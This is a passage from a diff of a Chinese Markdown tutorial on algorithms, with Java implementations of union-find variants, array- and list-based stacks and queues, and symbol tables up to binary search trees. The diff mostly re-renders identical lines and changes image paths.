-    public boolean connected(int p, int q) {
-        return find(p) == find(q);
-    }
+    public boolean connected(int p, int q) {
+        return find(p) == find(q);
+    }
 
-    public abstract int find(int p);
+    public abstract int find(int p);
 
-    public abstract void union(int p, int q);
+    public abstract void union(int p, int q);
 }
 ```
 
-## Quick Find
+## Quick Find
 
-可以快速进行 find 操作，也就是可以快速判断两个节点是否连通。
+可以快速进行 find 操作，也就是可以快速判断两个节点是否连通。
 
-需要保证同一连通分量的所有节点的 id 值相等。
+需要保证同一连通分量的所有节点的 id 值相等。
 
-但是 union 操作代价却很高，需要将其中一个连通分量中的所有节点 id 值都修改为另一个节点的 id 值。
+但是 union 操作代价却很高，需要将其中一个连通分量中的所有节点 id 值都修改为另一个节点的 id 值。
 
-<img src="index_files/8f0cc500-5994-4c7a-91a9-62885d658662.png" width="350"/>
+<div align="center"> <img src="pics/8f0cc500-5994-4c7a-91a9-62885d658662.png" width="350"/> </div><br>
 
 ```java
-public class QuickFindUF extends UF {
+public class QuickFindUF extends UF {
 
-    public QuickFindUF(int N) {
-        super(N);
-    }
+    public QuickFindUF(int N) {
+        super(N);
+    }
 
 
-    @Override
-    public int find(int p) {
-        return id[p];
-    }
+    @Override
+    public int find(int p) {
+        return id[p];
+    }
 
 
-    @Override
-    public void union(int p, int q) {
-        int pID = find(p);
-        int qID = find(q);
+    @Override
+    public void union(int p, int q) {
+        int pID = find(p);
+        int qID = find(q);
 
-        if (pID == qID) {
-            return;
-        }
+        if (pID == qID) {
+            return;
+        }
 
-        for (int i = 0; i < id.length; i++) {
-            if (id[i] == pID) {
-                id[i] = qID;
-            }
-        }
-    }
+        for (int i = 0; i < id.length; i++) {
+            if (id[i] == pID) {
+                id[i] = qID;
+            }
+        }
+    }
 }
 ```
 
-## Quick Union
+## Quick Union
 
-可以快速进行 union 操作，只需要修改一个节点的 id 值即可。
+可以快速进行 union 操作，只需要修改一个节点的 id 值即可。
 
-但是 find 操作开销很大，因为同一个连通分量的节点 id 值不同，id 值只是用来指向另一个节点。因此需要一直向上查找操作，直到找到最上层的节点。
+但是 find 操作开销很大，因为同一个连通分量的节点 id 值不同，id 值只是用来指向另一个节点。因此需要一直向上查找操作，直到找到最上层的节点。
 
-<img src="index_files/5d4a5181-65fb-4bf2-a9c6-899cab534b44.png" width="350"/>
+<div align="center"> <img src="pics/5d4a5181-65fb-4bf2-a9c6-899cab534b44.png" width="350"/> </div><br>
 
 ```java
-public class QuickUnionUF extends UF {
+public class QuickUnionUF extends UF {
 
-    public QuickUnionUF(int N) {
-        super(N);
-    }
+    public QuickUnionUF(int N) {
+        super(N);
+    }
 
 
-    @Override
-    public int find(int p) {
-        while (p != id[p]) {
-            p = id[p];
-        }
-        return p;
-    }
+    @Override
+    public int find(int p) {
+        while (p != id[p]) {
+            p = id[p];
+        }
+        return p;
+    }
 
 
-    @Override
-    public void union(int p, int q) {
-        int pRoot = find(p);
-        int qRoot = find(q);
+    @Override
+    public void union(int p, int q) {
+        int pRoot = find(p);
+        int qRoot = find(q);
 
-        if (pRoot != qRoot) {
-            id[pRoot] = qRoot;
-        }
-    }
+        if (pRoot != qRoot) {
+            id[pRoot] = qRoot;
+        }
+    }
 }
 ```
 
-这种方法可以快速进行 union 操作，但是 find 操作和树高成正比，最坏的情况下树的高度为节点的数目。
+这种方法可以快速进行 union 操作，但是 find 操作和树高成正比，最坏的情况下树的高度为节点的数目。
 
-<img src="index_files/bfbb11e2-d208-4efa-b97b-24cd40467cd8.png" width="130"/>
+<div align="center"> <img src="pics/bfbb11e2-d208-4efa-b97b-24cd40467cd8.png" width="130"/> </div><br>
 
-## 加权 Quick Union
+## 加权 Quick Union
 
-为了解决 quick-union 的树通常会很高的问题，加权 quick-union 在 union 操作时会让较小的树连接较大的树上面。
+为了解决 quick-union 的树通常会很高的问题，加权 quick-union 在 union 操作时会让较小的树连接较大的树上面。
 
-理论研究证明，加权 quick-union 算法构造的树深度最多不超过 logN。
+理论研究证明，加权 quick-union 算法构造的树深度最多不超过 logN。
 
-<img src="index_files/a4c17d43-fa5e-4935-b74e-147e7f7e782c.png" width="170"/>
+<div align="center"> <img src="pics/a4c17d43-fa5e-4935-b74e-147e7f7e782c.png" width="170"/> </div><br>
 
 ```java
-public class WeightedQuickUnionUF extends UF {
+public class WeightedQuickUnionUF extends UF {
 
-    // 保存节点的数量信息
-    private int[] sz;
+    // 保存节点的数量信息
+    private int[] sz;
 
 
-    public WeightedQuickUnionUF(int N) {
-        super(N);
-        this.sz = new int[N];
-        for (int i = 0; i < N; i++) {
-            this.sz[i] = 1;
-        }
-    }
+    public WeightedQuickUnionUF(int N) {
+        super(N);
+        this.sz = new int[N];
+        for (int i = 0; i < N; i++) {
+            this.sz[i] = 1;
+        }
+    }
 
 
-    @Override
-    public int find(int p) {
-        while (p != id[p]) {
-            p = id[p];
-        }
-        return p;
-    }
+    @Override
+    public int find(int p) {
+        while (p != id[p]) {
+            p = id[p];
+        }
+        return p;
+    }
 
 
-    @Override
-    public void union(int p, int q) {
+    @Override
+    public void union(int p, int q) {
 
-        int i = find(p);
-        int j = find(q);
+        int i = find(p);
+        int j = find(q);
 
-        if (i == j) return;
+        if (i == j) return;
 
-        if (sz[i] < sz[j]) {
-            id[i] = j;
-            sz[j] += sz[i];
-        } else {
-            id[j] = i;
-            sz[i] += sz[j];
-        }
-    }
+        if (sz[i] < sz[j]) {
+            id[i] = j;
+            sz[j] += sz[i];
+        } else {
+            id[j] = i;
+            sz[i] += sz[j];
+        }
+    }
 }
 ```
 
-## 路径压缩的加权 Quick Union
+## 路径压缩的加权 Quick Union
 
-在检查节点的同时将它们直接链接到根节点，只需要在 find 中添加一个循环即可。
+在检查节点的同时将它们直接链接到根节点，只需要在 find 中添加一个循环即可。
 
-## 比较
+## 比较
 
-| 算法 | union | find |
-| :---: | :---: | :---: |
-| Quick Find | N | 1 |
-| Quick Union | 树高 | 树高 |
-| 加权 Quick Union | logN | logN |
-| 路径压缩的加权 Quick Union | 非常接近 1 | 非常接近 1 |
+| 算法 | union | find |
+| :---: | :---: | :---: |
+| Quick Find | N | 1 |
+| Quick Union | 树高 | 树高 |
+| 加权 Quick Union | logN | logN |
+| 路径压缩的加权 Quick Union | 非常接近 1 | 非常接近 1 |
 
-# 五、栈和队列
+# 五、栈和队列
 
-## 栈
+## 栈
 
 ```java
-public interface MyStack<Item> extends Iterable<Item> {
+public interface MyStack<Item> extends Iterable<Item> {
 
-    MyStack<Item> push(Item item);
+    MyStack<Item> push(Item item);
 
-    Item pop() throws Exception;
+    Item pop() throws Exception;
 
-    boolean isEmpty();
+    boolean isEmpty();
 
-    int size();
+    int size();
 
 }
 ```
 
-### 1. 数组实现
+### 1. 数组实现
 
 ```java
-public class ArrayStack<Item> implements MyStack<Item> {
+public class ArrayStack<Item> implements MyStack<Item> {
 
-    // 栈元素数组，只能通过转型来创建泛型数组
-    private Item[] a = (Item[]) new Object[1];
+    // 栈元素数组，只能通过转型来创建泛型数组
+    private Item[] a = (Item[]) new Object[1];
 
-    // 元素数量
-    private int N = 0;
+    // 元素数量
+    private int N = 0;
 
 
-    @Override
-    public MyStack<Item> push(Item item) {
-        check();
-        a[N++] = item;
-        return this;
-    }
+    @Override
+    public MyStack<Item> push(Item item) {
+        check();
+        a[N++] = item;
+        return this;
+    }
 
 
-    @Override
-    public Item pop() throws Exception {
+    @Override
+    public Item pop() throws Exception {
 
-        if (isEmpty()) {
-            throw new Exception("stack is empty");
-        }
+        if (isEmpty()) {
+            throw new Exception("stack is empty");
+        }
 
-        Item item = a[--N];
+        Item item = a[--N];
 
-        check();
+        check();
 
-        // 避免对象游离
-        a[N] = null;
+        // 避免对象游离
+        a[N] = null;
 
-        return item;
-    }
+        return item;
+    }
 
 
-    private void check() {
+    private void check() {
 
-        if (N >= a.length) {
-            resize(2 * a.length);
+        if (N >= a.length) {
+            resize(2 * a.length);
 
-        } else if (N > 0 && N <= a.length / 4) {
-            resize(a.length / 2);
-        }
-    }
+        } else if (N > 0 && N <= a.length / 4) {
+            resize(a.length / 2);
+        }
+    }
 
 
-    /**
-     * 调整数组大小，使得栈具有伸缩性
-     */
-    private void resize(int size) {
+    /**
+     * 调整数组大小，使得栈具有伸缩性
+     */
+    private void resize(int size) {
 
-        Item[] tmp = (Item[]) new Object[size];
+        Item[] tmp = (Item[]) new Object[size];
 
-        for (int i = 0; i < N; i++) {
-            tmp[i] = a[i];
-        }
+        for (int i = 0; i < N; i++) {
+            tmp[i] = a[i];
+        }
 
-        a = tmp;
-    }
+        a = tmp;
+    }
 
 
-    @Override
-    public boolean isEmpty() {
-        return N == 0;
-    }
+    @Override
+    public boolean isEmpty() {
+        return N == 0;
+    }
 
 
-    @Override
-    public int size() {
-        return N;
-    }
+    @Override
+    public int size() {
+        return N;
+    }
 
 
-    @Override
-    public Iterator<Item> iterator() {
+    @Override
+    public Iterator<Item> iterator() {
 
-        // 返回逆序遍历的迭代器
-        return new Iterator<Item>() {
+        // 返回逆序遍历的迭代器
+        return new Iterator<Item>() {
 
-            private int i = N;
+            private int i = N;
 
-            @Override
-            public boolean hasNext() {
-                return i > 0;
-            }
+            @Override
+            public boolean hasNext() {
+                return i > 0;
+            }
 
-            @Override
-            public Item next() {
-                return a[--i];
-            }
-        };
+            @Override
+            public Item next() {
+                return a[--i];
+            }
+        };
 
-    }
+    }
 }
 ```
 
-### 2. 链表实现
+### 2. 链表实现
 
-需要使用链表的头插法来实现，因为头插法中最后压入栈的元素在链表的开头，它的 next 指针指向前一个压入栈的元素，在弹出元素时就可以通过 next 指针遍历到前一个压入栈的元素从而让这个元素成为新的栈顶元素。
+需要使用链表的头插法来实现，因为头插法中最后压入栈的元素在链表的开头，它的 next 指针指向前一个压入栈的元素，在弹出元素时就可以通过 next 指针遍历到前一个压入栈的元素从而让这个元素成为新的栈顶元素。
 
 ```java
-public class ListStack<Item> implements MyStack<Item> {
+public class ListStack<Item> implements MyStack<Item> {
 
-    private Node top = null;
-    private int N = 0;
+    private Node top = null;
+    private int N = 0;
 
 
-    private class Node {
-        Item item;
-        Node next;
-    }
+    private class Node {
+        Item item;
+        Node next;
+    }
 
 
-    @Override
-    public MyStack<Item> push(Item item) {
+    @Override
+    public MyStack<Item> push(Item item) {
 
-        Node newTop = new Node();
+        Node newTop = new Node();
 
-        newTop.item = item;
-        newTop.next = top;
+        newTop.item = item;
+        newTop.next = top;
 
-        top = newTop;
+        top = newTop;
 
-        N++;
+        N++;
 
-        return this;
-    }
+        return this;
+    }
 
 
-    @Override
-    public Item pop() throws Exception {
+    @Override
+    public Item pop() throws Exception {
 
-        if (isEmpty()) {
-            throw new Exception("stack is empty");
-        }
+        if (isEmpty()) {
+            throw new Exception("stack is empty");
+        }
 
-        Item item = top.item;
+        Item item = top.item;
 
-        top = top.next;
-        N--;
+        top = top.next;
+        N--;
 
-        return item;
-    }
+        return item;
+    }
 
 
-    @Override
-    public boolean isEmpty() {
-        return N == 0;
-    }
+    @Override
+    public boolean isEmpty() {
+        return N == 0;
+    }
 
 
-    @Override
-    public int size() {
-        return N;
-    }
+    @Override
+    public int size() {
+        return N;
+    }
 
 
-    @Override
-    public Iterator<Item> iterator() {
+    @Override
+    public Iterator<Item> iterator() {
 
-        return new Iterator<Item>() {
+        return new Iterator<Item>() {
 
-            private Node cur = top;
+            private Node cur = top;
 
 
-            @Override
-            public boolean hasNext() {
-                return cur != null;
-            }
+            @Override
+            public boolean hasNext() {
+                return cur != null;
+            }
 
 
-            @Override
-            public Item next() {
-                Item item = cur.item;
-                cur = cur.next;
-                return item;
-            }
-        };
+            @Override
+            public Item next() {
+                Item item = cur.item;
+                cur = cur.next;
+                return item;
+            }
+        };
 
-    }
+    }
 }
 ```
 
-## 队列
+## 队列
 
-下面是队列的链表实现，需要维护 first 和 last 节点指针，分别指向队首和队尾。
+下面是队列的链表实现，需要维护 first 和 last 节点指针，分别指向队首和队尾。
 
-这里需要考虑 first 和 last 指针哪个作为链表的开头。因为出队列操作需要让队首元素的下一个元素成为队首，所以需要容易获取下一个元素，而链表的头部节点的 next 指针指向下一个元素，因此可以让 first 指针链表的开头。
+这里需要考虑 first 和 last 指针哪个作为链表的开头。因为出队列操作需要让队首元素的下一个元素成为队首，所以需要容易获取下一个元素，而链表的头部节点的 next 指针指向下一个元素，因此可以让 first 指针链表的开头。
 
 ```java
-public interface MyQueue<Item> extends Iterable<Item> {
+public interface MyQueue<Item> extends Iterable<Item> {
 
-    int size();
+    int size();
 
-    boolean isEmpty();
+    boolean isEmpty();
 
-    MyQueue<Item> add(Item item);
+    MyQueue<Item> add(Item item);
 
-    Item remove() throws Exception;
+    Item remove() throws Exception;
 }
 ```
 
 ```java
-public class ListQueue<Item> implements MyQueue<Item> {
+public class ListQueue<Item> implements MyQueue<Item> {
 
-    private Node first;
-    private Node last;
-    int N = 0;
+    private Node first;
+    private Node last;
+    int N = 0;
 
 
-    private class Node {
-        Item item;
-        Node next;
-    }
+    private class Node {
+        Item item;
+        Node next;
+    }
 
 
-    @Override
-    public boolean isEmpty() {
-        return N == 0;
-    }
+    @Override
+    public boolean isEmpty() {
+        return N == 0;
+    }
 
 
-    @Override
-    public int size() {
-        return N;
-    }
+    @Override
+    public int size() {
+        return N;
+    }
 
 
-    @Override
-    public MyQueue<Item> add(Item item) {
+    @Override
+    public MyQueue<Item> add(Item item) {
 
-        Node newNode = new Node();
-        newNode.item = item;
-        newNode.next = null;
+        Node newNode = new Node();
+        newNode.item = item;
+        newNode.next = null;
 
-        if (isEmpty()) {
-            last = newNode;
-            first = newNode;
-        } else {
-            last.next = newNode;
-            last = newNode;
-        }
+        if (isEmpty()) {
+            last = newNode;
+            first = newNode;
+        } else {
+            last.next = newNode;
+            last = newNode;
+        }
 
-        N++;
-        return this;
-    }
+        N++;
+        return this;
+    }
 
 
-    @Override
-    public Item remove() throws Exception {
+    @Override
+    public Item remove() throws Exception {
 
-        if (isEmpty()) {
-            throw new Exception("queue is empty");
-        }
+        if (isEmpty()) {
+            throw new Exception("queue is empty");
+        }
 
-        Node node = first;
-        first = first.next;
-        N--;
+        Node node = first;
+        first = first.next;
+        N--;
 
-        if (isEmpty()) {
-            last = null;
-        }
+        if (isEmpty()) {
+            last = null;
+        }
 
-        return node.item;
-    }
+        return node.item;
+    }
 
 
-    @Override
-    public Iterator<Item> iterator() {
+    @Override
+    public Iterator<Item> iterator() {
 
-        return new Iterator<Item>() {
+        return new Iterator<Item>() {
 
-            Node cur = first;
+            Node cur = first;
 
 
-            @Override
-            public boolean hasNext() {
-                return cur != null;
-            }
+            @Override
+            public boolean hasNext() {
+                return cur != null;
+            }
 
 
-            @Override
-            public Item next() {
-                Item item = cur.item;
-                cur = cur.next;
-                return item;
-            }
-        };
-    }
+            @Override
+            public Item next() {
+                Item item = cur.item;
+                cur = cur.next;
+                return item;
+            }
+        };
+    }
 }
 ```
 
@@ -1284,1087 +1324,1042 @@ public class ListQueue<Item> implements MyQueue<Item> {
 
 
 
-# 六、符号表
+# 六、符号表
 
-符号表（Symbol Table）是一种存储键值对的数据结构，可以支持快速查找操作。
+符号表（Symbol Table）是一种存储键值对的数据结构，可以支持快速查找操作。
 
-符号表分为有序和无序两种，有序符号表主要指支持 min()、max() 等根据键的大小关系来实现的操作。
+符号表分为有序和无序两种，有序符号表主要指支持 min()、max() 等根据键的大小关系来实现的操作。
 
-有序符号表的键需要实现 Comparable 接口。
+有序符号表的键需要实现 Comparable 接口。
 
 ```java
-public interface UnorderedST<Key, Value> {
+public interface UnorderedST<Key, Value> {
 
-    int size();
+    int size();
 
-    Value get(Key key);
+    Value get(Key key);
 
-    void put(Key key, Value value);
+    void put(Key key, Value value);
 
-    void delete(Key key);
+    void delete(Key key);
 }
 ```
 
 ```java
-public interface OrderedST<Key extends Comparable<Key>, Value> {
+public interface OrderedST<Key extends Comparable<Key>, Value> {
 
-    int size();
+    int size();
 
-    void put(Key key, Value value);
+    void put(Key key, Value value);
 
-    Value get(Key key);
+    Value get(Key key);
 
-    Key min();
+    Key min();
 
-    Key max();
+    Key max();
 
-    int rank(Key key);
+    int rank(Key key);
 
-    List<Key> keys(Key l, Key h);
+    List<Key> keys(Key l, Key h);
 }
 ```
 
-## 初级实现
+## 初级实现
 
-### 1. 链表实现无序符号表
+### 1. 链表实现无序符号表
 
 ```java
-public class ListUnorderedST<Key, Value> implements UnorderedST<Key, Value> {
+public class ListUnorderedST<Key, Value> implements UnorderedST<Key, Value> {
 
-    private Node first;
+    private Node first;
 
-    private class Node {
-        Key key;
-        Value value;
-        Node next;
+    private class Node {
+        Key key;
+        Value value;
+        Node next;
 
-        Node(Key key, Value value, Node next) {
-            this.key = key;
-            this.value = value;
-            this.next = next;
-        }
-    }
+        Node(Key key, Value value, Node next) {
+            this.key = key;
+            this.value = value;
+            this.next = next;
+        }
+    }
 
-    @Override
-    public int size() {
-        int cnt = 0;
-        Node cur = first;
-        while (cur != null) {
-            cnt++;
-            cur = cur.next;
-        }
-        return cnt;
-    }
+    @Override
+    public int size() {
+        int cnt = 0;
+        Node cur = first;
+        while (cur != null) {
+            cnt++;
+            cur = cur.next;
+        }
+        return cnt;
+    }
 
-    @Override
-    public void put(Key key, Value value) {
-        Node cur = first;
-        // 如果在链表中找到节点的键等于 key 就更新这个节点的值为 value
-        while (cur != null) {
-            if (cur.key.equals(key)) {
-                cur.value = value;
-                return;
-            }
-            cur = cur.next;
-        }
-        // 否则使用头插法插入一个新节点
-        first = new Node(key, value, first);
-    }
+    @Override
+    public void put(Key key, Value value) {
+        Node cur = first;
+        // 如果在链表中找到节点的键等于 key 就更新这个节点的值为 value
+        while (cur != null) {
+            if (cur.key.equals(key)) {
+                cur.value = value;
+                return;
+            }
+            cur = cur.next;
+        }
+        // 否则使用头插法插入一个新节点
+        first = new Node(key, value, first);
+    }
 
-    @Override
-    public void delete(Key key) {
-        if (first == null)
-            return;
-        if (first.key.equals(key))
-            first = first.next;
-        Node pre = first, cur = first.next;
-        while (cur != null) {
-            if (cur.key.equals(key)) {
-                pre.next = cur.next;
-                return;
-            }
-            pre = pre.next;
-            cur = cur.next;
-        }
-    }
+    @Override
+    public void delete(Key key) {
+        if (first == null)
+            return;
+        if (first.key.equals(key))
+            first = first.next;
+        Node pre = first, cur = first.next;
+        while (cur != null) {
+            if (cur.key.equals(key)) {
+                pre.next = cur.next;
+                return;
+            }
+            pre = pre.next;
+            cur = cur.next;
+        }
+    }
 
-    @Override
-    public Value get(Key key) {
-        Node cur = first;
-        while (cur != null) {
-            if (cur.key.equals(key))
-                return cur.value;
-            cur = cur.next;
-        }
-        return null;
-    }
+    @Override
+    public Value get(Key key) {
+        Node cur = first;
+        while (cur != null) {
+            if (cur.key.equals(key))
+                return cur.value;
+            cur = cur.next;
+        }
+        return null;
+    }
 }
 ```
 
-### 2. 二分查找实现有序符号表
+### 2. 二分查找实现有序符号表
 
 使用一对平行数组，一个存储键一个存储值。
 
-二分查找的 rank() 方法至关重要，当键在表中时，它能够知道该键的位置；当键不在表中时，它也能知道在何处插入新键。
+二分查找的 rank() 方法至关重要，当键在表中时，它能够知道该键的位置；当键不在表中时，它也能知道在何处插入新键。
 
-二分查找最多需要 logN+1 次比较，使用二分查找实现的符号表的查找操作所需要的时间最多是对数级别的。但是插入操作需要移动数组元素，是线性级别的。
+二分查找最多需要 logN+1 次比较，使用二分查找实现的符号表的查找操作所需要的时间最多是对数级别的。但是插入操作需要移动数组元素，是线性级别的。
 
 ```java
-public class BinarySearchOrderedST<Key extends Comparable<Key>, Value> implements OrderedST<Key, Value> {
+public class BinarySearchOrderedST<Key extends Comparable<Key>, Value> implements OrderedST<Key, Value> {
 
-    private Key[] keys;
-    private Value[] values;
-    private int N = 0;
+    private Key[] keys;
+    private Value[] values;
+    private int N = 0;
 
-    public BinarySearchOrderedST(int capacity) {
-        keys = (Key[]) new Comparable[capacity];
-        values = (Value[]) new Object[capacity];
-    }
+    public BinarySearchOrderedST(int capacity) {
+        keys = (Key[]) new Comparable[capacity];
+        values = (Value[]) new Object[capacity];
+    }
 
-    @Override
-    public int size() {
-        return N;
-    }
+    @Override
+    public int size() {
+        return N;
+    }
 
-    @Override
-    public int rank(Key key) {
-        int l = 0, h = N - 1;
-        while (l <= h) {
-            int m = l + (h - l) / 2;
-            int cmp = key.compareTo(keys[m]);
-            if (cmp == 0)
-                return m;
-            else if (cmp < 0)
-                h = m - 1;
-            else
-                l = m + 1;
-        }
-        return l;
-    }
+    @Override
+    public int rank(Key key) {
+        int l = 0, h = N - 1;
+        while (l <= h) {
+            int m = l + (h - l) / 2;
+            int cmp = key.compareTo(keys[m]);
+            if (cmp == 0)
+                return m;
+            else if (cmp < 0)
+                h = m - 1;
+            else
+                l = m + 1;
+        }
+        return l;
+    }
 
-    @Override
-    public List<Key> keys(Key l, Key h) {
-        int index = rank(l);
-        List<Key> list = new ArrayList<>();
-        while (keys[index].compareTo(h) <= 0) {
-            list.add(keys[index]);
-            index++;
-        }
-        return list;
-    }
+    @Override
+    public List<Key> keys(Key l, Key h) {
+        int index = rank(l);
+        List<Key> list = new ArrayList<>();
+        while (keys[index].compareTo(h) <= 0) {
+            list.add(keys[index]);
+            index++;
+        }
+        return list;
+    }
 
-    @Override
-    public void put(Key key, Value value) {
-        int index = rank(key);
-        // 如果找到已经存在的节点键为 key，就更新这个节点的值为 value
-        if (index < N && keys[index].compareTo(key) == 0) {
-            values[index] = value;
-            return;
-        }
-        // 否则在数组中插入新的节点，需要先将插入位置之后的元素都向后移动一个位置
-        for (int j = N; j > index; j--) {
-            keys[j] = keys[j - 1];
-            values[j] = values[j - 1];
-        }
-        keys[index] = key;
-        values[index] = value;
-        N++;
-    }
+    @Override
+    public void put(Key key, Value value) {
+        int index = rank(key);
+        // 如果找到已经存在的节点键为 key，就更新这个节点的值为 value
+        if (index < N && keys[index].compareTo(key) == 0) {
+            values[index] = value;
+            return;
+        }
+        // 否则在数组中插入新的节点，需要先将插入位置之后的元素都向后移动一个位置
+        for (int j = N; j > index; j--) {
+            keys[j] = keys[j - 1];
+            values[j] = values[j - 1];
+        }
+        keys[index] = key;
+        values[index] = value;
+        N++;
+    }
 
-    @Override
-    public Value get(Key key) {
-        int index = rank(key);
-        if (index < N && keys[index].compareTo(key) == 0)
-            return values[index];
-        return null;
-    }
+    @Override
+    public Value get(Key key) {
+        int index = rank(key);
+        if (index < N && keys[index].compareTo(key) == 0)
+            return values[index];
+        return null;
+    }
 
-    @Override
-    public Key min() {
-        return keys[0];
-    }
+    @Override
+    public Key min() {
+        return keys[0];
+    }
 
-    @Override
-    public Key max() {
-        return keys[N - 1];
-    }
+    @Override
+    public Key max() {
+        return keys[N - 1];
+    }
 }
 ```
 
-## 二叉查找树
+## 二叉查找树
 
-**二叉树** 是一个空链接，或者是一个有左右两个链接的节点，每个链接都指向一颗子二叉树。
+**二叉树**  是一个空链接，或者是一个有左右两个链接的节点，每个链接都指向一颗子二叉树。
 
-<img src="index_files/f9f9f993-8ece-4da7-b848-af9b438fad76.png" width="200"/>
+<div align="center"> <img src="pics/f9f9f993-8ece-4da7-b848-af9b438fad76.png" width="200"/> </div><br>
 
-**二叉查找树**（BST）是一颗二叉树，并且每个节点的值都大于等于其左子树中的所有节点的值而小于等于右子树的所有节点的值。
+**二叉查找树** （BST）是一颗二叉树，并且每个节点的值都大于等于其左子树中的所有节点的值而小于等于右子树的所有节点的值。
 
-<img src="index_files/8ae4550b-f0cb-4e4d-9e2b-c550538bf230.png" width="200"/>
+<div align="center"> <img src="pics/8ae4550b-f0cb-4e4d-9e2b-c550538bf230.png" width="200"/> </div><br>
 
-BST 有一个重要性质，就是它的中序遍历结果递增排序。
+BST 有一个重要性质，就是它的中序遍历结果递增排序。
 
-<img src="index_files/fbe54203-c005-48f0-8883-b05e564a3173.png" width="200"/>
+<div align="center"> <img src="pics/fbe54203-c005-48f0-8883-b05e564a3173.png" width="200"/> </div><br>
 
 基本数据结构：
 
 ```java
-public class BST<Key extends Comparable<Key>, Value> implements OrderedST<Key, Value> {
+public class BST<Key extends Comparable<Key>, Value> implements OrderedST<Key, Value> {
 
-    protected Node root;
+    protected Node root;
 
-    protected class Node {
-        Key key;
-        Value val;
-        Node left;
-        Node right;
-        // 以该节点为根的子树节点总数
-        int N;
-        // 红黑树中使用
-        boolean color;
+    protected class Node {
+        Key key;
+        Value val;
+        Node left;
+        Node right;
+        // 以该节点为根的子树节点总数
+        int N;
+        // 红黑树中使用
+        boolean color;
 
-        Node(Key key, Value val, int N) {
-            this.key = key;
-            this.val = val;
-            this.N = N;
-        }
-    }
+        Node(Key key, Value val, int N) {
+            this.key = key;
+            this.val = val;
+            this.N = N;
+        }
+    }
 
-    @Override
-    public int size() {
-        return size(root);
-    }
+    @Override
+    public int size() {
+        return size(root);
+    }
 
-    private int size(Node x) {
-        if (x == null)
-            return 0;
-        return x.N;
-    }
+    private int size(Node x) {
+        if (x == null)
+            return 0;
+        return x.N;
+    }
 
-    protected void recalculateSize(Node x) {
-        x.N = size(x.left) + size(x.right) + 1;
-    }
+    protected void recalculateSize(Node x) {
+        x.N = size(x.left) + size(x.right) + 1;
+    }
 }
 ```
 
 为了方便绘图，下文中二叉树的空链接不画出来。
 
-### 1. get()
+### 1. get()
 
-- 如果树是空的，则查找未命中；
-- 如果被查找的键和根节点的键相等，查找命中；
-- 否则递归地在子树中查找：如果被查找的键较小就在左子树中查找，较大就在右子树中查找。
+- 如果树是空的，则查找未命中；
+- 如果被查找的键和根节点的键相等，查找命中；
+- 否则递归地在子树中查找：如果被查找的键较小就在左子树中查找，较大就在右子树中查找。
 
 ```java
 @Override
-public Value get(Key key) {
-    return get(root, key);
+public Value get(Key key) {
+    return get(root, key);
 }
 
-private Value get(Node x, Key key) {
-    if (x == null)
-        return null;
-    int cmp = key.compareTo(x.key);
-    if (cmp == 0)
-        return x.val;
-    else if (cmp < 0)
-        return get(x.left, key);
-    else
-        return get(x.right, key);
+private Value get(Node x, Key key) {
+    if (x == null)
+        return null;
+    int cmp = key.compareTo(x.key);
+    if (cmp == 0)
+        return x.val;
+    else if (cmp < 0)
+        return get(x.left, key);
+    else
+        return get(x.right, key);
 }
 ```
 
-### 2. put()
+### 2. put()
 
 当插入的键不存在于树中，需要创建一个新节点，并且更新上层节点的链接指向该节点，使得该节点正确地链接到树中。
 
-<img src="index_files/107a6a2b-f15b-4cad-bced-b7fb95258c9c.png" width="200"/>
+<div align="center"> <img src="pics/107a6a2b-f15b-4cad-bced-b7fb95258c9c.png" width="200"/> </div><br>
 
 ```java
- @Override
-public void put(Key key, Value value) {
-    root = put(root, key, value);
+ @Override
+public void put(Key key, Value value) {
+    root = put(root, key, value);
 }
 
-private Node put(Node x, Key key, Value value) {
-    if (x == null)
-        return new Node(key, value, 1);
-    int cmp = key.compareTo(x.key);
-    if (cmp == 0)
-        x.val = value;
-    else if (cmp < 0)
-        x.left = put(x.left, key, value);
-    else
-        x.right = put(x.right, key, value);
-    recalculateSize(x);
-    return x;
+private Node put(Node x, Key key, Value value) {
+    if (x == null)
+        return new Node(key, value, 1);
+    int cmp = key.compareTo(x.key);
+    if (cmp == 0)
+        x.val = value;
+    else if (cmp < 0)
+        x.left = put(x.left, key, value);
+    else
+        x.right = put(x.right, key, value);
+    recalculateSize(x);
+    return x;
 }
 ```
 
-### 3. 分析
+### 3. 分析
 
 二叉查找树的算法运行时间取决于树的形状，而树的形状又取决于键被插入的先后顺序。
 
-最好的情况下树是完全平衡的，每条空链接和根节点的距离都为 logN。
+最好的情况下树是完全平衡的，每条空链接和根节点的距离都为 logN。
 
-<img src="index_files/4d741402-344d-4b7c-be01-e57184bcad0e.png" width="200"/>
+<div align="center"> <img src="pics/4d741402-344d-4b7c-be01-e57184bcad0e.png" width="200"/> </div><br>
 
-在最坏的情况下，树的高度为 N。
+在最坏的情况下，树的高度为 N。
 
-<img src="index_files/be7dca03-12ec-456b-8b54-b1b3161f5531.png" width="200"/>
+<div align="center"> <img src="pics/be7dca03-12ec-456b-8b54-b1b3161f5531.png" width="200"/> </div><br>
 
-### 4. floor()
+### 4. floor()
 
 floor(key)：小于等于键的最大键
 
-- 如果键小于根节点的键，那么 floor(key) 一定在左子树中；
-- 如果键大于根节点的键，需要先判断右子树中是否存在 floor(key)，如果存在就返回，否则根节点就是 floor(key)。
+- 如果键小于根节点的键，那么 floor(key) 一定在左子树中；
+- 如果键大于根节点的键，需要先判断右子树中是否存在 floor(key)，如果存在就返回，否则根节点就是 floor(key)。
 
 ```java
-public Key floor(Key key) {
-    Node x = floor(root, key);
-    if (x == null)
-        return null;
-    return x.key;
+public Key floor(Key key) {
+    Node x = floor(root, key);
+    if (x == null)
+        return null;
+    return x.key;
 }
 
-private Node floor(Node x, Key key) {
-    if (x == null)
-        return null;
-    int cmp = key.compareTo(x.key);
-    if (cmp == 0)
-        return x;
-    if (cmp < 0)
-        return floor(x.left, key);
-    Node t = floor(x.right, key);
-    return t != null ? t : x;
+private Node floor(Node x, Key key) {
+    if (x == null)
+        return null;
+    int cmp = key.compareTo(x.key);
+    if (cmp == 0)
+        return x;
+    if (cmp < 0)
+        return floor(x.left, key);
+    Node t = floor(x.right, key);
+    return t != null ? t : x;
 }
 ```
 
-### 5. rank()
+### 5. rank()
 
-rank(key) 返回 key 的排名。
+rank(key) 返回 key 的排名。
 
-- 如果键和根节点的键相等，返回左子树的节点数；
-- 如果小于，递归计算在左子树中的排名；
-- 如果大于，递归计算在右子树中的排名，加上左子树的节点数，再加上 1（根节点）。
+- 如果键和根节点的键相等，返回左子树的节点数；
+- 如果小于，递归计算在左子树中的排名；
+- 如果大于，递归计算在右子树中的排名，加上左子树的节点数，再加上 1（根节点）。
 
 ```java
 @Override
